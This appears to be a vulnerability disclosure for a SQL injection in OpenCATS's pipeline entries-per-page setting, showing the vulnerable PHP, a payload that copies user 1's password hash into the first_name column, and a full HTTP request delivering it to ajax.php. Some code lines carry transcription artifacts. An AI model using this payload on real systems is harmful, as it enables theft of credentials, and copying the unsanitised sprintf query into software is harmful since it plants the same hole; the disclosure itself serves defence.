

```
public function setPipelineEntriesPerPage($entriesPerPage)
               $db = DatabaseConnection::getInstance();
               $sql = sprintf(
                   "UPDATE
                       user
                    SET
                       pipeline_entries_per_page = %s
                   WHERE
                       user_id = %s
                   AND
                       site_id = %s",
                   $entriesPerPage,
                   $this->_userID,
                   $this->_siteID
              $rs = $db->query($sq1);
1078
              $this->_pipelineEntriesPerPage = $entriesPerPage;
```

Since UPDATE statement is used to query the database, user can add arbitrary values to arbitrary columns inside 'user' table. Knowing this, it is possible to craft payload like:

15,first_name=(select password from user where user_id=1 limit 1)

This will update 'first_name' with arbitrary data from database. In this example user's password hash will be written inside first_name column. Since, first name is reflected in many endpoints in application, this means malicious person can exfiltrate data and control the database using it as a field to extract data. Attackers can also use blind sql injection techniques to extract db information.

```
1 POST /opencats/ajax.php HTTP/1.1
 2 Host: 192.168.203.135
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
   Gecko/20100101 Firefox/78.0
4 Accept: */*
5 Accept - Language: en - US, en; q=0.5
6 Accept-Encoding: gzip, deflate
 7 | Content-type: application/x-www-form-urlencoded
8 Content-Length: 240
9 Origin: http://192.168.203.135
10 Connection: close
11 Referer:
   http://192.168.203.135/opencats/index.php?m=joborders&a=show&job0
   rderID=3
12 Cookie: CATS=5ftrolidomh4agmcl9qk809vcs
13
14 f=getPipelineJobOrder&joborderID=3&page=0&entriesPerPage=
   15, first_name=(select+password+from+user+where+user_id=1+limit+1)
   &sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&
   isPopup=0&rhash=47890778&CATS=5ftrolidomh4agmcl9qk809vcs
```

